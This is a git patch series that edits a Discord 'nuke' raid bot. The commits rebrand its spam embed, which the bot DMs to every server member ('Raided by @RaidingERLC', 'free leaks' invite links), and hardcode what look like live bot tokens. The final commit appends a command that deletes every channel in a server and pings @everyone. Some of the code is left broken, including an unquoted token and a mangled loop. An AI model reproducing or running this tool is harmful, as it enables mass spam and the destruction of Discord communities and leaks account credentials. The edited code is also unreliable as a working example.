From f32cdab39c08717daae105cf9eacd2dab4221894 Mon Sep 17 00:00:00 2001 From: EgyptianAli <131673264+EgyptianAli@users.noreply.github.com> Date: Sun, 24 Nov 2024 07:28:00 +0100 Subject: [PATCH 1/5] Update config.py --- config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.py b/config.py index 1bd3933..6f99969 100644 --- a/config.py +++ b/config.py @@ -1,2 +1,2 @@ -prefix = 'prefix' +prefix = '$' token = "bots token" From 7fe140556c77b0c5607563b6782dda18cfbd1a4c Mon Sep 17 00:00:00 2001 From: EgyptianAli <131673264+EgyptianAli@users.noreply.github.com> Date: Sun, 24 Nov 2024 07:31:27 +0100 Subject: [PATCH 2/5] Update main.py --- main.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/main.py b/main.py index c38b1a3..280b8f3 100644 --- a/main.py +++ b/main.py @@ -95,16 +95,16 @@ async def mall(ctx): for member in list(client.get_all_members()): await asyncio.sleep(0) try: - embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple()) + embed = discord.Embed(title="Raided by @RaidingERLC", url="https://discord.gg/aeuh2Tuv", description="@everyone" , color=discord.Colour.purple()) embed.add_field( name="Discord Server", value= "[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)", inline=False) embed.add_field( - name="Youtube Channel", + name="free leaks", value= - "[ [ Click here ] ](https://www.youtube.com/channel/UCXk0klxbjcVgGvYyKWLgtLg)", + "[ [ Click here ] ](https://discord.gg/aeuh2Tuv)", inline=False) embed.add_field( name="GitHub", From a954a8153e3ee9c2169bb54d8bfec95e9d19d255 Mon Sep 17 00:00:00 2001 From: EgyptianAli <131673264+EgyptianAli@users.noreply.github.com> Date: Sun, 24 Nov 2024 07:41:54 +0100 Subject: [PATCH 3/5] Update main.py --- main.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/main.py b/main.py index 280b8f3..17a8d22 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,4 @@ -#Made by Social404 +#Made by Misterfergie from config import prefix from config import token import keep_alive @@ -95,11 +95,11 @@ async def mall(ctx): for member in list(client.get_all_members()): await asyncio.sleep(0) try: - embed = discord.Embed(title="Raided by @RaidingERLC", url="https://discord.gg/aeuh2Tuv", description="@everyone" , color=discord.Colour.purple()) + embed = discord.Embed(title="Raided by @RaidingERLC", url="https://discord.gg/aeuh2Tuv0", description="@everyone" , color=discord.Colour.purple()) embed.add_field( name="Discord Server", value= - "[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)", + "[ [ Click here ] ](https://discord.gg/aeuh2Tuv)", inline=False) embed.add_field( name="free leaks", @@ -109,10 +109,9 @@ async def mall(ctx): embed.add_field( name="GitHub", value= - "[ [ Click here ] ](https://github.com/social404)", + "[ [ Click here ] ](https://discord.gg/aeuh2Tuv)", inline=False) - embed.set_thumbnail(url="https://tenor.com/view/destory-eexplode-nuke-gif-6073338") - embed.set_footer(text="Nuked By Social404's Bot! Sorry About Your Loss") + embed.set_thumbnail(url="") await member.send(embed=embed) except: pass @@ -124,11 +123,7 @@ async def mall(ctx): async def destroy(ctx): await ctx.message.delete() for member in list(client.get_all_members()): - await asyncio.sleep(0) - try: - embed = discord.Embed(title="This Is Why You Dont Wanna Give Random People Admin!", url="https://github.com/Social404/Advanced-Discord-Nuke-Bot", description="They Nuke Your Server With A Free Source Code (Click The Text Above For The Code)" , color=discord.Colour.purple()) - embed.add_field( - name="Discord Server", + value= "[ [ Click here ] ](https://discord.gg/kE9vk9Zeuf)", inline=False) From fe7bfd503627b8c4ad83d8bc8c0fe6a2ebab5c74 Mon Sep 17 00:00:00 2001 From: EgyptianAli <131673264+EgyptianAli@users.noreply.github.com> Date: Sun, 24 Nov 2024 07:43:27 +0100 Subject: [PATCH 4/5] Update config.py --- config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.py b/config.py index 6f99969..92b2cf3 100644 --- a/config.py +++ b/config.py @@ -1,2 +1,2 @@ prefix = '$' -token = "bots token" +token = "MTMxMDEwOTIxODg2NjU5Mzc5Mg.G-PDDK.32nuIL5AHRCrdV6rfD0ryPjj1Xh2li0H1q8pfA" From b92e5fa39a3e54f6eb8b59c135b2ce9f058be206 Mon Sep 17 00:00:00 2001 From: Richyyy294929 Date: Sun, 24 Nov 2024 17:31:20 -0500 Subject: [PATCH 5/5] Update main.py --- main.py | 44 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 43 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 17a8d22..42be5c0 100644 --- a/main.py +++ b/main.py @@ -206,5 +206,47 @@ async def info(ctx, member: discord.Member=None): keep_alive.keep_alive() -client.run(token) +client.run(MTMxMDEwOTIxODg2NjU5Mzc5Mg.GRPbG8.MWNvBZNzJ47tbRM9I-MlKZSIaKqVIlV7dewv18) # Place your Bot's token here +import discord +from discord.ext import commands + +# Bot setup +intents = discord.Intents.default() +intents.guilds = True +intents.messages = True +intents.members = True +bot = commands.Bot(command_prefix="$", intents=intents) + +@bot.event +async def on_ready(): + print(f"Logged in as {bot.user}") + +# Command to delete all channels and send a message +@bot.command() +@commands.has_permissions(administrator=True) +async def reset_channels(ctx): + guild = ctx.guild + confirmation_message = await ctx.send("Are you sure you want to reset all channels? Reply with `yes` to confirm.") + + def check(msg): + return msg.author == ctx.author and msg.content.lower() == "yes" + + try: + await bot.wait_for("message", check=check, timeout=30) + await confirmation_message.delete() + + # Delete all channels + for channel in guild.channels: + await channel.delete() + + # Recreate a general channel + general_channel = await guild.create_text_channel("general") + await general_channel.send("@everyone All channels have been reset.") + await ctx.send("All channels have been reset successfully!") + except TimeoutError: + await confirmation_message.delete() + await ctx.send("Channel reset canceled. You didn't reply in time.") + +# Run the bot +bot.run("MTMxMDEwOTIxODg2NjU5Mzc5Mg.GRPbG8.MWNvBZNzJ47tbRM9I-MlKZSIaKqVIlV7dewv18")